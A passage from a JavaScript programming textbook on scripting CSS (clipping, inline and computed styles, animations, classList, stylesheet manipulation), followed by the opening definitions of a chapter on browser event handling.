While the `overflow` property allows you to specify what happens when an element's content is bigger than the element's box, the `clip` property allows you to specify exactly which portion of an element should be displayed, whether or not the element overflows. This property is especially useful for scripted effects in which an element is progressively displayed or uncovered.

The value of the `clip` property specifies the clipping region for the element. In CSS2, clipping regions are rectangular, but the syntax of the `clip` property leaves open the possibility that future versions of the standard will support clipping shapes other than rectangles. The syntax of the `clip` property is:

```
rect(top right bottom left)
```

The *`top`*, *`right`*, *`bottom`*, and *`left`* values specify the boundaries of the clipping rectangle relative to the upper-left corner of the element's box. For example, to display only a 100 × 100-pixel portion of an element, you can give that element this `style` attribute:

```
style="clip: rect(0px 100px 100px 0px);"
```

Note that the four values within the parentheses are length values and must include a unit specification, such as `px` for pixels. Percentages are not allowed. Values can be negative to specify that the clipping region extends beyond the box specified for the element. You can also use the `auto` keyword for any of the four values to specify that the edge of the clipping region is the same as the corresponding edge of the element's box. For example, you can display just the leftmost 100 pixels of an element with this `style` attribute:

```
style="clip: rect(auto 100px auto auto);"
```

Note that there are no commas between the values, and the edges of the clipping region are specified in clockwise order from the top edge. To turn clipping off, set the `clip` property to `auto`.

16.2.7 Example: Overlapping Translucent Windows

This section concludes with an example that demonstrates many of the CSS properties discussed here. Example 16-2 uses CSS to create the visual effect of scrolling, overlapping, translucent windows within the browser window. Figure 16-3 shows how it looks.

Figure 16-3. Windows created with CSS

The example contains no JavaScript code and no event handlers, so there is no way to interact with the windows (other than to scroll them), but it is a useful demonstration of the powerful effects that can be achieved with CSS.

Example 16-2. Displaying windows with CSS

```
<!DOCTYPE html>
<head>
<style type="text/css">
/**
 * This is a CSS stylesheet that defines three style rules that we use
 * in the body of the document to create a "window" visual effect.
 * The rules use positioning properties to set the overall size of the window
 * and the position of its components. Changing the size of the window
 * requires careful changes to positioning properties in all three rules.
 **/
div.window {  /* Specifies size and border of the window */
    position: absolute;         /* The position is specified elsewhere */
    width: 300px; height: 200px;/* Window size, not including borders */
    border: 3px outset gray;    /* Note 3D "outset" border effect */
}

div.titlebar {  /* Specifies position, size, and style of the titlebar */
    position: absolute;         /* It's a positioned element */
    top: 0px; height: 18px;     /* Titlebar is 18px + padding and borders */
    width: 290px;               /* 290 + 5px padding on left and right = 300 */
    background-color: #aaa;     /* Titlebar color */
    border-bottom: groove gray 2px;  /* Titlebar has border on bottom only */
    padding: 3px 5px 2px 5px;   /* Values clockwise: top, right, bottom, left */
    font: bold 11pt sans-serif; /* Title font */
}

div.content {  /* Specifies size, position and scrolling for window content */
    position: absolute;         /* It's a positioned element */
    top: 25px;                  /* 18px title+2px border+3px+2px padding */
    height: 165px;              /* 200px total - 25px titlebar - 10px padding*/
    width: 290px;               /* 300px width - 10px of padding */
    padding: 5px;               /* Allow space on all four sides */
    overflow: auto;             /* Give us scrollbars if we need them */
    background-color: #fff;     /* White background by default */
}

div.translucent { /* this class makes a window partially transparent */
    opacity: .75;               /* Standard style for transparency */
    filter: alpha(opacity=75);  /* Transparency for IE */
}
</style>
</head>

<body>
<!-- Here is how we define a window: a "window" div with a titlebar and -->
<!-- content div nested inside. Note how position is specified with -->
<!-- a style attribute that augments the styles from the stylesheet. -->
<div class="window" style="left: 10px; top: 10px; z-index: 10;">
<div class="titlebar">Test Window</div>
<div class="content">
1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>0<br><!-- Lots of lines to -->
1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>0<br><!-- demonstrate scrolling-->
</div>
</div>
```

```
<!-- Here's another window with different position, color, and font weight -->
<div class="window" style="left: 75px; top: 110px; z-index: 20;">
<div class="titlebar">Another Window</div>
<div class="content translucent"
     style="background-color:#ccc; font-weight:bold;">
This is another window. Its <tt>z-index</tt> puts it on top of the other one.
CSS styles make its content area translucent, in browsers that support that.
</div>
</div>
```


The major shortcoming of this example is that the stylesheet specifies a fixed size for all windows. Because the titlebar and content portions of the window must be precisely positioned within the overall window, changing the size of a window requires changing the value of various positioning properties in all three rules defined by the stylesheet. This is difficult to do in a static HTML document, but it would not be so difficult if you could use a script to set all the necessary properties. This topic is explored in the next section.

16.3 Scripting Inline Styles

The most straightforward way to script CSS is to alter the `style` attribute of individual document elements. Like most HTML attributes, `style` is also a property of the Element object, and you can manipulate it in JavaScript. The `style` property is unusual, however: its value is not a string, but a CSSStyleDeclaration object. The JavaScript properties of this style object represent the CSS properties specified by the HTML `style` attribute. To make the text of an element `e` big, bold, and blue, for example, you can use the following code to set the JavaScript properties that correspond to the `font-size` `font-weight` and `color` style properties:

```
e.style.fontSize = "24pt";
e.style.fontWeight = "bold";
e.style.color = "blue";
```

Naming Conventions: CSS Properties in JavaScript

Many CSS style properties, such as `font-size`, contain hyphens in their names. In JavaScript, a hyphen is interpreted as a minus sign, so it is not possible to write an expression like:

```
e.style.font-size = "24pt"; // Syntax error!
```

Therefore, the names of the properties of the CSSStyleDeclaration object are slightly different from the names of actual CSS properties. If a CSS property name contains one or more hyphens, the CSSStyleDeclaration property name is formed by removing the hyphens and capitalizing the letter immediately following each hyphen. Thus, the CSS property `border-left-width` is accessed through the JavaScript `borderLeftWidth` property, and you can access the CSS `font-family` property with code like this:

```
e.style.fontFamily = "sans-serif";
```

Also, when a CSS property, such as the `float` property, has a name that is a reserved word in JavaScript, that name is prefixed with "css" to create a legal CSSStyleDeclaration name. Thus, to set or query the value of the CSS `float` property of an element, use the `cssFloat` property of the CSSStyleDeclaration object.

When working with the style properties of the CSSStyleDeclaration object, remember that all values must be specified as strings. In a stylesheet or `style` attribute, you can write:

```
position: absolute; font-family: sans-serif; background-color: #ffffff;
```

To accomplish the same thing for an element `e` with JavaScript, you have to quote all of the values:

```
e.style.position = "absolute";
e.style.fontFamily = "sans-serif";
e.style.backgroundColor = "#ffffff";
```

Note that the semicolons go outside the strings. These are just normal JavaScript semicolons; the semicolons you use in CSS stylesheets are not required as part of the string values you set with JavaScript.

Furthermore, remember that all the positioning properties require units. Thus, it is not correct to set the `left` property like this:

```
e.style.left = 300;    // Incorrect: this is a number, not a string
e.style.left = "300";  // Incorrect: the units are missing
```

Units are required when setting style properties in JavaScript, just as they are when setting style properties in stylesheets. The correct way to set the value of the `left` property of an element `e` to 300 pixels is:

```
e.style.left = "300px";
```

If you want to set the `left` property to a computed value, be sure to append the units at the end of the computation:

```
e.style.left = (x0 + left_margin + left_border + left_padding) + "px";
```

Notice that the numeric result of the computation will be converted to a string as a side effect of appending the units string.

Recall that some CSS properties, such as `margin`, are shortcuts for other properties, such as `margin-top`, `margin-right`, `margin-bottom`, and `margin-left`. The CSSStyleDeclaration object has properties that correspond to these shortcut properties. For example, you might set the `margin` property like this:

```
e.style.margin = topMargin + "px " + rightMargin + "px " +
                 bottomMargin + "px " + leftMargin + "px";
```

Arguably, it is easier to set the four margin properties individually:

```
e.style.marginTop = topMargin + "px";
e.style.marginRight = rightMargin + "px";
```

```
e.style.marginBottom = bottomMargin + "px";
e.style.marginLeft = leftMargin + "px";
```

The `style` attribute of an HTML element is its *inline* style, and it overrides any style specifications in a stylesheet. Inline styles are generally useful for setting style values, and that is what the examples above have all done. You can read the properties of a CSSStyleDeclaration object that represents inline styles, but they return meaningful values only if they've previously been set by your JavaScript code or if the HTML element with which you are working has an inline `style` attribute that sets the desired properties. For example, your document may include a stylesheet that sets the left margin for all paragraphs to 30 pixels, but if you read the `marginLeft` property of one of your paragraph elements, you'll get the empty string unless that paragraph has a `style` attribute that overrides the stylesheet setting.

Reading the inline style of an element is particularly difficult for style properties that require units and for shortcut properties: your code has to include nontrivial CSS parsing capabilities to really make use of those values. In general, the inline style of an element is only useful for setting styles. If you need to query the style of an element, use the computed style, which is discussed in §16.4.

Sometimes, you may find it easier to set or query the inline style of an element as a single string value rather than as a CSSStyleDeclaration object. To do that, you can use the Element `getAttribute()` and `setAttribute()` methods, or you can use the `cssText` property of the CSSStyleDeclaration object:

```
// Set the style attribute of e to the string s with either of these lines:
e.setAttribute("style", s);
e.style.cssText = s;

// Query the inline style string of the element e with either of these:
s = e.getAttribute("style");
s = e.style.cssText;
```

16.3.1 CSS Animations

One of the most common uses of scripted CSS is to produce animated visual effects. This can be achieved by using `setTimeout()` or `setInterval()` (see §14.1) to repeatedly invoke a function that alters the inline style of an element. Example 16-3 demonstrates with two functions `shake()` and `fadeOut()`. `shake()` quickly moves or "shakes" an element side to side. It might be used to grab the user's attention if he enters invalid data, for example. `fadeOut()` decreases the opacity of an element over a specified amount of time (500 milliseconds, by default), causing it to fade out and vanish.

Example 16-3. CSS animations

```
// Convert element e to relative positioning and "shake" it left and right.
// The first argument can be an element object or the id of an element.
// If a function is passed as the second argument, it will be invoked
// with e as an argument when the animation is complete.
// The 3rd argument specifies how far to shake e. The default is 5 pixels.
// The 4th argument specifies how long to shake for. The default is 500 ms.
```

```
function shake(e, oncomplete, distance, time) {
    // Handle arguments
    if (typeof e === "string") e = document.getElementById(e);
    if (!time) time = 500;
    if (!distance) distance = 5;

    var originalStyle = e.style.cssText;      // Save the original style of e
    e.style.position = "relative";            // Make e relatively positioned
    var start = (new Date()).getTime();       // Note the animation start time
    animate();                                // Start the animation

    // This function checks the elapsed time and updates the position of e.
    // If the animation is complete, it restores e to its original state.
    // Otherwise, it updates e's position and schedules itself to run again.
    function animate() {
        var now = (new Date()).getTime();     // Get current time
        var elapsed = now-start;              // How long since we started
        var fraction = elapsed/time;          // What fraction of total time?

        if (fraction < 1) {     // If the animation is not yet complete
            // Compute the x position of e as a function of animation
            // completion fraction. We use a sinusoidal function, and multiply
            // the completion fraction by 4pi, so that it shakes back and
            // forth twice.
            var x = distance * Math.sin(fraction*4*Math.PI);
            e.style.left = x + "px";

            // Try to run again in 25ms or at the end of the total time.
            // We're aiming for a smooth 40 frames/second animation.
            setTimeout(animate, Math.min(25, time-elapsed));
        }
        else {                  // Otherwise, the animation is complete
            e.style.cssText = originalStyle  // Restore the original style
            if (oncomplete) oncomplete(e);   // Invoke completion callback
        }
    }
}

// Fade e from fully opaque to fully transparent over time milliseconds.
// Assume that e is fully opaque when this function is invoked.
// oncomplete is an optional function that will be invoked with e as its
// argument when the animation is done. If time is omitted, use 500ms.
// This function does not work in IE, but could be modified to animate
// IE's nonstandard filter property in addition to opacity.
function fadeOut(e, oncomplete, time) {
    if (typeof e === "string") e = document.getElementById(e);
    if (!time) time = 500;

    // We use Math.sqrt as a simple "easing function" to make the animation
    // subtly nonlinear: it fades quickly at first and then slows down some.
    var ease = Math.sqrt;

    var start = (new Date()).getTime();    // Note the animation start time
    animate();                             // And start animating

    function animate() {
```

```
        var elapsed = (new Date()).getTime()-start; // elapsed time
        var fraction = elapsed/time;                // As a fraction of total
        if (fraction < 1) {     // If the animation is not yet complete
            var opacity = 1 - ease(fraction);  // Compute element opacity
            e.style.opacity = String(opacity); // Set it on e
            setTimeout(animate,                // Schedule another frame
                       Math.min(25, time-elapsed));
        }
        else {                  // Otherwise, we're done
            e.style.opacity = "0";          // Make e fully transparent
            if (oncomplete) oncomplete(e);  // Invoke completion callback
        }
    }
}
```

Both `shake()` and `fadeOut()` accept an optional callback function as their second argument. If specified, this function will be invoked when the animation is complete. The element that was animated is passed as an argument to the callback. The following HTML creates a button that, when clicked, shakes from side to side and then fades away:

```
<button onclick="shake(this, fadeOut);">Shake and Fade</button>
```

Note that the `shake()` and `fadeOut()` example functions are quite similar to each other, and both can serve as templates for similar animations of other CSS properties. Client-side libraries, such as jQuery usually support pre-defined visual effects, however, so you may never actually need to write an animation function like `shake()`, unless you want to create a particularly complex visual effect. One early and noteworthy effects library is Scriptaculous, which is designed for use with the Prototype framework. Visit *http://script.aculo.us/* and *http://scripty2.com/* to learn more.

The CSS3 Transitions module defines a way to specify animated effects in stylesheets, obviating the need for any scripting. Instead of defining a function like `fadeOut()`, for example, you might use CSS like this:

```
.fadeable { transition: opacity .5s ease-in }
```

This specifies that any time the opacity of a "fadeable" element changed, that change will be animated (from the current value to the new value) over a period of half a second, using a nonlinear easing function. CSS Transitions is not yet standard but has been implemented for some time in Safari and Chrome using the `-webkit-transition` property. At the time of this writing, Firefox 4 has added support using `-moz-transition`.

16.4 Querying Computed Styles

The `style` property of an element is that element's *inline* style. It overrides all stylesheets, and it is the perfect place to set CSS properties to change the visual appearance of an element. It is not, however, generally useful for querying the styles that actually apply to an element. For that, you want the *computed* style. The computed style for an element is the set of property values that the browser derives (or computes) from the

inline style plus all applicable style rules in all linked stylesheets: it is the set of properties actually used to display the element. Like inline styles, computed styles are represented with a CSSStyleDeclaration object. Unlike inline styles, however, computed styles are read-only. You can't set these styles, but the computed CSSStyleDeclaration object for an element lets you determine exactly what style property values the browser used when rendering that element.

Obtain the computed style for an element with the `getComputedStyle()` method of the Window object. The first argument to this method is the element whose computed style is desired. The second argument is required and is usually `null` or the empty string, but it can also be a string that names a CSS pseudoelement, such as ":before", ":after", ":first-line", or ":first-letter":

```
var title = document.getElementById("section1title");
var titlestyles = window.getComputedStyle(element, null);
```

The return value of `getComputedStyle()` is a CSSStyleDeclaration object that represents all the styles that apply to the specified element (or pseudoelement). There are a number of important differences between a CSSStyleDeclaration object that represents inline styles and one that represents computed styles:

- Computed style properties are read-only.
- Computed style properties are *absolute*: relative units like percentages and points are converted to absolute values. Any property that specifies a size (such as a margin size or a font size) will have a value measured in pixels. This value will be a string with a "px" suffix, so you'll still need to parse it, but you won't have to worry about parsing or converting units. Properties whose values are colors will be returned in "rgb(#,#,#)" or "rgba(#,#,#,#)" format.
- Shortcut properties are not computed, only the fundamental properties that they are based on. Don't query the `margin` property, for example, but use `marginLeft`, `marginTop`, and so on.
- The `cssText` property of the computed style is undefined.

Computed styles and inline styles can be used together. Example 16-4 defines functions `scale()` and `scaleColor()`. One queries and parses the computed text size of a specified element; the other queries and parses the computed background color of an element. Both functions then scale the resulting value and set the scaled value as an inline style of the element. (These functions do not work in IE8 and earlier: as we'll discuss below, those versions of IE do not support `getComputedStyle()`.)

Example 16-4. Querying computed styles and setting inline styles

```
// Scale the text size of element e by the specified factor
function scale(e, factor) {
    // Use the computed style to query the current size of the text
    var size = parseInt(window.getComputedStyle(e,"").fontSize);
    // And use the inline style to enlarge that size
    e.style.fontSize = factor*size + "px";
}
```

```
// Alter the background color of element e by the specified amount.
// Factors > 1 lighten the color and factors < 1 darken it.
function scaleColor(e, factor) {
    var color = window.getComputedStyle(e, "").backgroundColor;  // Query
    var components = color.match(/[\d\.]+/g);   // Parse r,g,b, and a components
    for(var i = 0; i < 3; i++) {                // Loop through r, g and b
        var x = Number(components[i]) * factor;         // Scale each one
        x = Math.round(Math.min(Math.max(x, 0), 255));  // Round and set bounds
        components[i] = String(x);
    }
    if (components.length == 3)  // A rgb() color
        e.style.backgroundColor = "rgb(" + components.join() + ")";
    else                         // A rgba() color
        e.style.backgroundColor = "rgba(" + components.join() + ")";
}
```

Computed styles can be tricky, and querying them does not always provide the information you might expect. Consider the `font-family` property: it accepts a comma-separated list of desired font families for cross-platform portability. When you query the `fontFamily` property of a computed style, you're simply getting the value of the most specific `font-family` style that applies to the element. This may return a value such as "arial,helvetica,sans-serif", which does not tell you which typeface is actually in use. Similarly, if an element is not absolutely positioned, attempting to query its position and size through the `top` and `left` properties of its computed style often returns the value "auto". This is a perfectly legal CSS value, but it is probably not what you were looking for.

`getComputedStyle()` is not implemented by IE8 and earlier, but it is expected in IE9. In IE, every HTML element has a `currentStyle` property whose value is a CSSStyleDeclaration. IE's `currentStyle` combines inline styles with stylesheets, but it is not a true computed style because relative values are not converted to absolute values. Querying the properties of IE's current style can return sizes with relative units like "%" or "em" or colors with imprecise names like "red".

Although CSS can be used to precisely specify the position and size of document elements, querying the computed style of an element is not the preferred way to determine the element's size and position. See §15.8.2 for a simpler, portable alternative.

16.5 Scripting CSS Classes

An alternative to scripting individual CSS styles through the inline `style` property is to script the value of the HTML `class` attribute. Changing an element's `class` changes the set of stylesheet selectors that apply to the element and can cause multiple CSS properties to change at the same time. Suppose, for example, that you want a way to draw the user's attention to individual paragraphs (or other elements) of a document. You might start by defining attention-grabbing styles for any elements that have a class name of "attention":

Download from Wow! eBook <www.wowebook.com>

```
.attention {  /* Styles to grab the user's attention */
    background-color: yellow;    /* Yellow highlight background */
    font-weight: bold;           /* Bold text */
    border: solid black 2px;     /* Black box */
}
```

The identifier `class` is a reserved word in JavaScript, so the HTML `class` attribute is available to JavaScript code using the name `className`. Here is code that sets and clears the `className` property of an element to add and remove the "attention" class for that element:

```
function grabAttention(e) { e.className = "attention"; }
function releaseAttention(e) { e.className = ""; }
```

HTML elements can be members of more than one CSS class and the `class` attribute holds a space-separated list of class names. The `className` property has a misleading name: `classNames` would have been a much better choice. The functions above assume that the `className` property will specify zero or one class name and do not work when more than one class is in use. If an element already has a class assigned, calling the `grabAttention()` function for that element will overwrite the existing class.

HTML5 addresses this issue by defining a `classList` property for every element. The value of this property is known as a DOMTokenList: a read-only array-like object (§7.11) whose elements contain the individual classnames for the element. More important than its array elements, however, are the methods defined by DOMTokenList. `add()` and `remove()` add and remove individual class names from the element's `class` attribute. `toggle()` adds a classname if it is not already present and removes it otherwise. Finally, the `contains()` method tests whether the `class` attribute contains a specified classname.

Like other DOM collection types, a DOMTokenList is a "live" representation of the element's set of classes, not a static snapshot of the classes at the time the `classList` property is queried. If you obtain a DOMTokenList from the `classList` property of an element and then change the `className` property of that element, those changes are immediately visible through the token list. Similarly, any changes you make through the token list are immediately visible through the `className` property.

At the time of this writing, the `classList` property is not supported by all current browsers. This important functionality is easy to approximate, however, with code like that of Example 16-5. Using code like this that allows an element's `class` attribute to be treated as a set of classnames makes many CSS scripting tasks much easier.

Example 16-5. classList(): treat className as a set of CSS classes

```
/*
 * Return the classList property of e, if it has one.
 * Otherwise, return an object that simulates the DOMTokenList API for e.
 * The returned object has contains(), add(), remove(), toggle() and toString()
 * methods for testing and altering the set of classes of the element e.
 * If the classList property is natively supported, the returned object is
 * array-like and has length and array index properties. The simulated
```

```
 * DOMTokenList is not array-like, but has a toArray() method that returns
 * a true-array snapshot of the element's class names.
 */
function classList(e) {
    if (e.classList) return e.classList;   // Return e.classList if it exists
    else return new CSSClassList(e);       // Otherwise try to fake it
}

// CSSClassList is a JavaScript class that simulates DOMTokenList
function CSSClassList(e) { this.e = e; }

// Return true if e.className contains the class c, false otherwise
CSSClassList.prototype.contains = function(c) {
    // Check that c is a valid class name
    if (c.length === 0 || c.indexOf(" ") != -1)
        throw new Error("Invalid class name: '" + c + "'");
    // Check common cases first
    var classes = this.e.className;
    if (!classes) return false;       // e has no classes at all
    if (classes === c) return true;   // e has one class that matches exactly

    // Otherwise, use a RegExp to search for c as a word by itself
    // \b in a regular expression requires a match at a word boundary.
    return classes.search("\\b" + c + "\\b") != -1;
};

// Add c to the e.className if it is not already present
CSSClassList.prototype.add = function(c) {
    if (this.contains(c)) return;            // Do nothing if already present
    var classes = this.e.className;
    if (classes && classes[classes.length-1] != " ")
        c = " " + c;                         // Add a space if we need one
    this.e.className += c;                   // Add c to the className
};

// Remove all occurrences of c from e.className
CSSClassList.prototype.remove = function(c) {
    // Make sure c is a valid class name
    if (c.length === 0 || c.indexOf(" ") != -1)
        throw new Error("Invalid class name: '" + c + "'");
    // Remove all occurances of c as a word, plus any trailing space
    var pattern = new RegExp("\\b" + c + "\\b\\s*", "g");
    this.e.className = this.e.className.replace(pattern, "");
};

// Add c to e.className if it is not already present and return true.
// Otherwise, remove all occurrences of c from e.className and return false.
CSSClassList.prototype.toggle = function(c) {
    if (this.contains(c)) {  // If e.className contains c
        this.remove(c);      // then remove it.
        return false;
    }
    else {                   // Otherwise:
        this.add(c);         // add it.
        return true;
    }
```

```
};

// Return e.className itself
CSSClassList.prototype.toString = function() { return this.e.className; };

// Return of the names in e.className
CSSClassList.prototype.toArray = function() {
    return this.e.className.match(/\b\w+\b/g) || [];
};
```

16.6 Scripting Stylesheets

So far, we've seen how to set and query the CSS styles and classes of individual elements. It is also possible to script CSS stylesheets themselves. This is not commonly done, but it can occasionally be useful and this section sketches out the technique.

When scripting stylesheets, there are two kinds of objects you may need to work with. The first kind are the Element objects that represent `<style>` and `<link>` elements that contain or reference your stylesheets. These are regular document elements and if you give them `id` attributes, you can select them with `document.getElementById()`. The second kind of object is a CSSStyleSheet object that represents the stylesheet itself. The `document.styleSheets` property is a read-only array-like object containing CSSStyleSheet objects that represent the stylesheets associated with the document. If you set the `title` attribute of the `<style>` or `<link>` element that defines or references the stylesheet, that title will be available as the `title` property of the corresponding CSSStyleSheet object.

The subsections that follow explain what you can do with these style and link elements and stylesheet objects.

16.6.1 Enabling and Disabling Stylesheets

The simplest stylesheet scripting technique is also the most portable and robust. `<style>` elements, `<link>` elements, and CSSStyleSheet objects all define a `disabled` property that you can query and set in JavaScript. As its name implies, if the `disabled` property is `true`, then the stylesheet is disabled and is ignored by the browser.

The `disableStylesheet()` function below demonstrates this. If passed a number, it treats it as an index into the `document.styleSheets` array. If passed a string, it treats it as a CSS selector and passes it to `document.querySelectorAll()` (see §15.2.5), then sets the `disabled` property of all returned elements:

```
function disableStylesheet(ss) {
    if (typeof ss === "number")
        document.styleSheets[ss].disabled = true;
    else {
        var sheets = document.querySelectorAll(ss);
        for(var i = 0; i < sheets.length; i++)
```

```
            sheets[i].disabled = true;
        }
    }
```

16.6.2 Querying, Inserting and Deleting Stylesheet Rules

In addition to disabling and enabling stylesheets, the CSSStyleSheet object also defines an API for querying, inserting, and deleting the style rules of a stylesheet. IE8 and before implement a slightly different API than the standard API implemented by other browsers.

Manipulating stylesheets directly is not normally a useful thing to do. Instead of editing or adding new rules to a stylesheet, it is typically better to leave your stylesheets static and script the `className` property of your elements. On the other hand, if you want to allow the user complete control over the styles used on your pages, you might need to dynamically manipulate a stylesheet.

The elements of the `document.styleSheets[]` array are CSSStyleSheet objects. A CSSStyleSheet object has a `cssRules[]` array that contains the rules of the stylesheet:

```
var firstRule = document.styleSheets[0].cssRules[0];
```

IE uses the property name `rules` instead of `cssRules`.

The elements of the `cssRules[]` or `rules[]` arrays are CSSRule objects. In the standard API, a CSSRule object may represent any kind of CSS rule, including *at-rules* such as `@import` and `@page` directives. In IE, however, the `rules[]` array contains only the actual style rules of the stylesheet.

CSSRule objects have two properties that can be used portably. (In the standard API, a rule that is not a style rule will not have these properties defined, and you probably want to skip over it when traversing the stylesheet.) `selectorText` is the CSS selector for the rule, and `style` refers to a writable CSSStyleDeclaration object that describes the styles associated with that selector. Recall that CSSStyleDeclaration is the same type used to represent inline and computed styles. You can use this `CSSStyleDeclaration` object to query the style values or to set new styles for the rule. Often, when traversing a stylesheet, you are interested in the text of the rule rather than a parsed representation of the rule. In this case, use the `cssText` property of the CSSStyleDeclaration object to obtain the text representation of the rules.

In addition to querying and altering the existing rules of a stylesheet, you can also add rules to and remove rules from a stylesheet. The standard API interface defines `insertRule()` and `deleteRule()` methods for adding and removing rules:

```
document.styleSheets[0].insertRule("H1 { text-weight: bold; }", 0);
```

IE does not support `insertRule()` and `deleteRule()` but defines largely equivalent `addRule()` and `removeRule()` functions. The only real difference (aside from the different names) is that `addRule()` expects the selector text and styles text as two separate arguments.

The following code loops through the rules of a stylesheet, demonstrating the API by making some dubious changes to the stylesheet:

```
var ss = document.styleSheets[0];              // Get the first stylesheet
var rules = ss.cssRules?ss.cssRules:ss.rules;  // Get the stylesheet rules

for(var i = 0; i < rules.length; i++) {        // Loop through those rules
    var rule = rules[i];
    if (!rule.selectorText) continue;  // Skip @import and other nonstyle rules

    var selector = rule.selectorText;  // The selector
    var ruleText = rule.style.cssText; // The styles, in text form

    // If the rule applies to h1 elements, apply it to h2 elements as well
    // Note this only works if the selector is literally "h1"
    if (selector == "h1") {
        if (ss.insertRule) ss.insertRule("h2 {" + ruleText + "}", rules.length);
        else if (ss.addRule) ss.addRule("h2", ruleText, rules.length);
    }

    // If the rule sets the text-decoration property, delete it.
    if (rule.style.textDecoration) {
        if (ss.deleteRule) ss.deleteRule(i);
        else if (ss.removeRule) ss.removeRule(i);
        i--; // Adjust the loop index since the former rule i+1 is now rule i
    }
}
```

16.6.3 Creating New Stylesheets

Finally, it is possible to create entirely new stylesheets and add them to your document. In most browsers, this is done with standard DOM techniques: just create a new `<style>` element and insert it into the document head, then use its `innerHTML` property to set stylesheet content. In IE8 and before, however, a new CSSStyleSheet object is created with the nonstandard method `document.createStyleSheet()`, and stylesheet text is specified using the `cssText` property. Example 16-6 demonstrates.

Example 16-6. Creating a new stylesheet

```
// Add a stylesheet to the document and populate it with the specified styles.
// The styles argument can be a string or an object. If it is a string, it
// is treated as the text of the stylesheet. If it is an object, then each
// property defines a style rule to be added to the stylesheet. Property
// names are selectors and their values are the corresponding styles
function addStyles(styles) {
    // First, create a new stylesheet
    var styleElt, styleSheet;
    if (document.createStyleSheet) { // If the IE API is defined, use it
        styleSheet = document.createStyleSheet();
    }
    else {
        var head = document.getElementsByTagName("head")[0]
        styleElt = document.createElement("style"); // New <style> element
        head.appendChild(styleElt);                 // Insert it into <head>
```

```
        // Now the new stylesheet should be the last one
        styleSheet = document.styleSheets[document.styleSheets.length-1]
    }

    // Now insert the styles into it
    if (typeof styles === "string") {
        // The argument is stylesheet text
        if (styleElt) styleElt.innerHTML = styles;
        else styleSheet.cssText = styles;           // The IE API
    }
    else {
        // The argument is an object of individual rules to insert
        var i = 0;
        for(selector in styles) {
            if (styleSheet.insertRule) {
                var rule = selector + " {" + styles[selector] + "}";
                styleSheet.insertRule(rule, i++);
            }
            else {
                styleSheet.addRule(selector, styles[selector], i++);
            }
        }
    }
}
```

CHAPTER 17
Handling Events

Client-side JavaScript programs use an asynchronous event-driven programming model (introduced in §13.3.2). In this style of programming, the web browser generates an *event* whenever something interesting happens to the document or browser or to some element or object associated with it. For example, the web browser generates an event when it finishes loading a document, when the user moves the mouse over a hyperlink, or when the user strikes a key on the keyboard. If a JavaScript application cares about a particular type of event, it can register one or more functions to be invoked when events of that type occur. Note that this is not unique to web programming: all applications with graphical user interfaces are designed this way—they sit around waiting for something to happen (i.e., they wait for events to occur), and then they respond.

Note that the word *event* is not itself a technical word that requires definition. Events are simply occurrences that a web browser will notify your program about. Events are not JavaScript objects and have no manifestation in the source code of your program. There are, of course, a number of event-related objects that do appear in your source code, and these do require technical explanation. We'll begin this chapter, therefore, with some important definitions.

The *event type* is a string that specifies what kind of event occurred. The type "mousemove", for example, means that the user moved the mouse. The type "keydown" means that a key on the keyboard was pushed down. And the type "load" means that a document (or some other resource) has finished loading from the network. Because the type of an event is just a string, it is sometimes called an *event name*, and indeed, we use this name to identify the specific kind of event we're talking about. Modern web browsers support many event types. §17.1 has an overview.

The *event target* is the object on which the event occurred or with which the event is associated. When we speak of an event, we must specify both the type and the target. A load event on a Window, for example, or a click event on a `<button>` Element. Window, Document, and Element objects are the most common event targets in client-side JavaScript applications, but some events are triggered on other kinds of objects. In

Chapter 18 we'll see a readystatechange event that is triggered on an XMLHttpRequest object, for example.

An *event handler* or *event listener* is a function that handles or responds to an event.[1] Applications register their event handler functions with the web browser, specifying an event type and an event target. When an event of the specified type occurs on the specified target, the browser invokes the handler. When event handlers are invoked for an object, we sometimes say that the browser has "fired", "triggered", or "dispatched" the event. There are a number of ways to register event handlers, and the details of handler registration and invocation are explained in §17.2 and §17.3.

An *event object* is an object that is associated with a particular event and contains details about that event. Event objects are passed as an argument to the event handler function (except in IE8 and before where they are sometimes only available through the global variable `event`). All event objects have a `type` property that specifies the event type and a `target` property that specifies the event target. (In IE8 and before, use `srcElement` instead of `target`.) Each event type defines a set of properties for its associated event object. The object associated with a mouse event includes the coordinates of the mouse pointer, for example, and the object associated with a keyboard event contains details about the key that was pressed and the modifier keys that were held down. Many event types define only a few standard properties—such as `type` and `target`—and do not carry much other useful information. For those events it is the simple occurrence of the event, not the event details, that matter. This chapter does not have a specific section covering the Event object. Instead, it explains event object properties when describing specific event types. You can read more about the event object under the name `Event` in the reference section.[2]

Event propagation is the process by which the browser decides which objects to trigger event handlers on. For events that are specific to a single object (such as the load event on the Window object), no propagation is required. When certain kinds of events occur on document elements, however, they propagate or "bubble" up the document tree. If the user moves the mouse over a hyperlink, the mousemove event is first fired on the `<a>` element that defines that link. Then it is fired on the containing elements: perhaps a `<p>` element, a `<div>` element, and the Document object itself. It is sometimes more convenient to register a single event handler on a Document or other container element than to register handlers on each individual element you're interested in. An event handler can stop the propagation of an event, so that it will not continue to bubble and will not trigger handlers on containing elements. Handlers do this by invoking a method

1. Some sources, including the HTML5 specification, make a technical distinction between handlers and listeners, based on the way in which they are registered. In this book we treat the two terms as synonyms.

2. Standards define a hierarchy of event object interfaces for different types of events. The Event interface describes "plain" events with no extra details. The MouseEvent subinterface describes the additional fields available in the event objects passed with mouse events, and the KeyEvent subinterface describes the fields you can use with keyboard events, for example. In this book, the reference section collapses all those common event interfaces into a single Event reference page.

or setting a property of the event object. Event propagation is covered in detail in §17.3.6.

In another form of event propagation, known as *event capturing*, handlers specially registered on container elements have the opportunity to intercept (or "capture") events before they are delivered to their actual target. Event capturing is not supported by IE8 and earlier, and is not, therefore, commonly used. The ability to capture or "grab" mouse events is required when processing mouse drag events, however, and we'll see how to do this in Example 17-2.

Some events have *default actions* associated with them. When a click event occurs on a hyperlink, for example, the default action is for the browser to follow the link and load a new page. Event handlers can prevent this default action by returning an appropriate value, invoking a method of the event object, or by setting a property of the event object. This is sometimes called "canceling" the event and is covered in §17.3.7.

With those terms defined, we can now move on to study events and event handling in detail. The first section that follows is an overview of the many event types supported by web browsers. It doesn't cover any single kind of event in detail, but it lets you know what kinds of events are available for use in your web applications. This section includes cross-references to other parts of this book that demonstrate some of the events in action.

